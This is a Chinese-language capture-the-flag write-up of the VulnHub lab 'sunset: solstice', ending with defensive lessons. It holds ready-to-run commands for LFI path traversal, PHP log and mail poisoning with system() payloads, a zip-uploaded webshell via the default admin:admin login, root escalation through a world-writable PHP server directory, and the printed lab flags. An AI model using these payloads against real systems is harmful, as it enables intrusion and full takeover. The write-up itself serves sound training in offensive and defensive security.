跳到主要内容

VulnHub sunset: solstice 通关记录|LFI 日志投毒与 Linux 提权复盘

靶机链接:sunset: solstice


0x01 基本信息

参考:VulnHub 靶机无法获取 IP - ifupdown

名称IP
Kali Linux192.168.1.113
sunset: solstice192.168.1.108

攻击流程

点击展开

攻击链摘要

阶段关键证据作用
LFI 发现index.php?book=list/etc/passwd 可读确认 book 参数可控
环境识别/proc/self/cmdline/proc/self/environ确认 8593 是 www-data 权限的 PHP 内置服务器
8593 初始 RCE/var/mail/www-data、Apache access.log、Apache error.log把 PHP Payload 放到 LFI 能读取的位置,再通过 book 参数包含触发
54787 初始 RCEFile Thingie /projectadmin:admin、zip 解压 WebShell从发现后台入口开始,弱口令登录后上传并解压 WebShell,直接访问 shell.php
Root 提权127.0.0.1:57 -t /var/tmp/sv/777 权限覆盖 root 服务入口并触发 root 命令执行

0x02 侦察与信息收集 (Reconnaissance)

1. 全端口扫描 (Rustscan)

命令:

rustscan -a 192.168.1.108 -g --ulimit 5000 --batch-size 300 --timeout 3000

输出:

192.168.1.108 -> [21,22,25,53,80,139,445,2121,3128,8593,54787,62524]

2. 服务识别 (Nmap)

命令:

nmap -Pn -sV -sC -p 21,22,25,80,139,445,2121,3128,8593,54787,62524 192.168.1.108

服务列表摘要:

端口服务指纹 / 备注
21/tcpFTPpyftpdlib 1.5.6
22/tcpSSHOpenSSH 7.9p1 Debian 10+deb10u2
25/tcpSMTPExim smtpd 4.92,banner 主机名 solstice
80/tcpHTTPApache/2.4.38 (Debian)
139/tcpSMBSamba,workgroup WORKGROUP
445/tcpSMBSamba 4.9.5-Debian
2121/tcpFTPpyftpdlib 1.5.6,允许匿名登录
3128/tcpHTTP ProxySquid http proxy 4.6
8593/tcpHTTPPHP CLI Server,PHP/7.3.14
54787/tcpHTTPPHP CLI Server,PHP/7.3.14
62524/tcpFTPFreeFloat ftpd 1.00

3. Web 目录枚举 (Gobuster)

  • Port 80:
gobuster dir -u http://192.168.1.108/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -q -t 20 -x php,txt,html

发现: /app/, /backup/, /javascript/, /index.html

  • Port 54787:
gobuster dir -u http://192.168.1.108:54787/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -q -t 20 -x php,txt,html

发现: /project (File Thingie 登录入口)。


0x03 漏洞分析与利用 (Exploitation)

1. HTTP 8593: LFI 漏洞发现与验证

漏洞发现 (Automated Discovery)

结合爬虫与漏洞扫描器可大幅提高发现效率。通过 katana 对目标进行参数级爬取,管道输出给 nuclei 进行自动化漏洞扫描:

katana -u http://192.168.1.108:8593 -silent -jc | nuclei -dast -severity medium,high,critical -j -silent

分析: katana 成功爬取到页面隐藏的 index.php?book=list 端点,nuclei 接收到该 URL 后,其 LFI 漏洞模板被触发,确认 book 参数存在本地文件包含漏洞。

验证 LFI (Verification)

LFI 验证和 /proc 运行时信息收集清单见知识库:LFI 任意文件读取与运行时信息收集

尝试读取系统敏感文件以确认存在目录穿越:

curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../etc/passwd'

输出:

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
miguel:x:1000:1000:,,,:/home/miguel:/bin/bash

环境识别 (Information Gathering)

  1. 读取进程命令行: curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../proc/self/cmdline'

    • 结果: /usr/bin/php -S 0.0.0.0:8593 -t /var/tmp/webserver/
    • 分析: 确认是单线程的 PHP 内置服务器,Web 根目录在 /var/tmp/webserver/
  2. 读取进程环境: curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../proc/self/environ'

    • 结果: USER=www-data。确认当前权限。

0x04 核心攻击链 (Core Attack Chain)

第一阶段:初始突破 (Initial Foothold via RCE)

方法 A:邮件日志投毒 (Mail Poisoning)

LFI 通过邮件、access.log、error.log 进入 PHP RCE 的通用判断见知识库:LFI 日志与邮件投毒到 PHP RCE

  1. 投毒: 使用 swaks 发送 Payload 到 www-data@localhost
swaks --to www-data@localhost --from 'test@test.com' --body '<?php system($_GET["cmd"]); ?>' --server 192.168.1.108
  1. 验证 RCE:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/mail/www-data&cmd=id'

输出: uid=33(www-data) gid=33(www-data) groups=33(www-data)

方法 B:Apache 访问日志投毒 (Access Log Poisoning)

利用端口 80 的 Apache 访问日志注入。

  1. 注入 Payload:
    curl -sS -A '<?php system($_GET[cmd]); ?>' http://192.168.1.108/
  2. 触发 RCE:
    curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/log/apache2/access.log&cmd=id'
    输出: 192.168.1.113 - - [17/May/2026...] "GET / HTTP/1.1" 200 ... "uid=33(www-data)..."

方法 C:Apache 错误日志投毒 (Error Log Poisoning)

利用 Referer 字段触发 PHP 404 错误。

  1. 注入 Payload: 访问不存在的 .php 文件触发错误:
    curl -sS -e '<?php system($_GET[e]); ?>' http://192.168.1.108/nonexistent.php
  2. 触发 RCE:
    curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/log/apache2/error.log&e=id'
    输出: ... script '/var/www/html/nonexistent.php' not found ..., referer: uid=33(www-data)...

方法 D:File Thingie Zip 解压释放 WebShell (Alternative Foothold)

Zip 上传后由后台解压释放 WebShell 的通用思路见知识库:文件上传与 Zip 解压释放 WebShell

  1. 登录: 使用 admin:admin 登录 54787 后台。
    curl -s -L -c cookies.txt -d "ft_user=admin&ft_pass=admin&act=dologin" http://192.168.1.108:54787/project/index.php
  2. 绕过后缀限制并上传:
    echo '<?php system($_GET["cmd"]); ?>' > shell.php
    zip shell.zip shell.php
    curl -s -b cookies.txt -F "act=upload" -F "localfile=@shell.zip" http://192.168.1.108:54787/project/index.php
  3. 触发 RCE:
    curl -s -b cookies.txt -d "act=unzip&file=shell.zip&dir=&newvalue=shell.zip&submit=Ok" http://192.168.1.108:54787/project/index.php
    curl -s http://192.168.1.108:54787/project/shell.php?cmd=id

输出: uid=33(www-data)...


第二阶段:权限提升 (Privilege Escalation to Root)

1. 发现本地特权服务: 通过 RCE 执行 ps aux | grep php输出:

root 529 0.0 0.0 2388 756 ? Ss 22:18 0:00 /bin/sh -c /usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/

2. 探测配置缺陷: 检查该服务的 Web 根目录:ls -la /var/tmp/sv/ 输出:

drwsrwxrwx 2 root root 4096 Jun 26 2020 .
-rwxrwxrwx 1 root root 36 Jun 19 2020 index.php

分析:目录及其中的 index.php 权限均为 777 (全球可写)。

3. 利用过程:

  1. 植入后门: 利用 www-data 的 RCE,将 Web Shell 覆盖写入该目录:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/mail/www-data&cmd=echo+PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==+|+base64+-d+%3E+/var/tmp/sv/index.php'
  1. 触发 Root RCE: 通过 curl 访问本地 57 端口执行命令:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/mail/www-data&cmd=curl+-s+"http://127.0.0.1:57/index.php?c=id"'

输出: uid=0(root) gid=0(root) groups=0(root)


0x05 最终成果 (Final Flags)

User Flag

  • 路径: /home/miguel/user.txt
  • 内容: c0e1f61ff8e753d8b27615bdc4f25794

Root Flag

  • 路径: /root/root.txt
  • 内容: f950998f0d484a2ef1ea83ed4f42bbca
  • 备注: Thanks for playing! - Felipe Winsnes (@whitecr0wz)

复盘总结

Solstice 的重点不是单个漏洞,而是多入口、多路径之间的串联和取舍:

  1. 初始侦察阶段不能只盯着 80 端口。859354787 都是 PHP CLI Server,但暴露的应用和利用方式完全不同,一个走 LFI,一个走 File Thingie 后台。
  2. 8593 的 LFI 需要先完成环境识别。读取 /proc/self/cmdline/proc/self/environ 可以确认 Web 根目录、运行方式和当前用户,这一步决定后续投毒文件应该选哪里。
  3. LFI 到 RCE 的核心不是“能读文件”本身,而是找到可控内容落盘的位置。本题里邮件、Apache access.log、Apache error.log 都可以成为 PHP Payload 载体。
  4. 54787 是另一条独立初始突破路径。先发现 File Thingie,再利用 admin:admin 弱口令登录,最后通过 zip 上传和后台解压释放 WebShell。
  5. 提权阶段的关键在本地枚举。ps aux | grep php 暴露了 root 运行的本地 PHP 服务,/var/tmp/sv/index.php 的全局可写权限把 www-data RCE 进一步放大成 root RCE。
  6. 这台靶机适合练习“同一个目标存在多条初始 RCE 路线”的复盘方法:自动化扫描发现线索,手工验证漏洞边界,再用本地进程和权限枚举完成提权。

从防守视角看,问题也很集中:不要把调试型 PHP 内置服务器暴露在靶机多端口上;后台弱口令和上传解压功能需要限制;日志、邮件等可写文件不能被 Web 参数直接包含;root 服务的 Web 根目录更不应给普通用户全局写权限。